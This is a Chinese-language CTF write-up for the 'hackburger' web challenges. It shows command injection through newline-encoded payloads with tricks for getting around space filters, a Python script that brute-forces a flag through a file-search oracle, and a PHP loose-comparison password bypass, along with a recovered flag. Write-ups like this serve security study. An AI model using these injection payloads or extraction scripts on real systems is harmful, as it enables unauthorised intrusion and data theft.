hackburger Writeups
一共10道web题,非常有意思: 入口
详见本人的静态博客文章
部分题目思路来自CodeMonster大佬的博客,在此谢过.
Warmup
猜测是命令执行,用%0a做换行操作。
这里列一下绕过空格的技巧${IFS}
或者 <>
127.0.0.1%0als
可以看到:
127.0.0.1%0acat index.php
获取源码,发现没做任何过滤
最后通过
127.0.0.1%0acat flag.php
获得flag
File Search
题目有一个输入框,输入f
_
等各种字符 有机会出现flag.txt
,
猜测是通过字符串回显判断文件具体内容
附上脚本:
import requests
import sys
import string
url = 'http://burger.laboratorium.ee:8004/'
password = '_1234567890'+string.letters #Chars
ans = '_'
flag = 0
proxies = {
'http':None,
'https':None
}
x = '' #_1234567890abcdefghilstxABCDEFGHILSTX 看出来对大小写不敏感
def getChar(x):
for i in password:
r = requests.post(url,data={'query':i},proxies=proxies)
if 'flag.txt' in r.text:
x = x+i
print x
def right(ans):
for j in x:
payload = ans + j
data={'query':payload}
r = requests.post(url,data=data,proxies=proxies)
if 'flag.txt' in r.text and payload != 'flag.txt':
return ans + j
return -1
def left(ans):
for t in x:
payload = t + ans
data={'query':payload}
r = requests.post(url,data=data,proxies=proxies)
if 'flag.txt' in r.text and payload != 'flag.txt':
return t + ans
return -1
def solve(ans,flag):
for i in range(0,50):
if flag == 0:
if right(ans) == -1:
flag = 1
else:
ans = right(ans)
else :
if left(ans) == -1:
exit()
else:
ans = left(ans)
print ans
sys.stdout.flush()
if __name__=='__main__':
getChar(x)
solve(ans,flag)
#t_h_e__f_l_a_g__i_s__4401ac27ffff3318dc0f6a3de050b4169e2eba97
emmmmmmm对大小写不敏感
结果:
Enter password to get candy
这题就是php中的字符串和0的弱比较问题
搭建本地环境:
<?php
$a = 0;
$b = "flag?";
if($a==$b){
echo "true";
}else{
echo "flase";
}
?>
运行的结果当然是:
改一下post的数据
data="{"password":0}"
即可得到flag: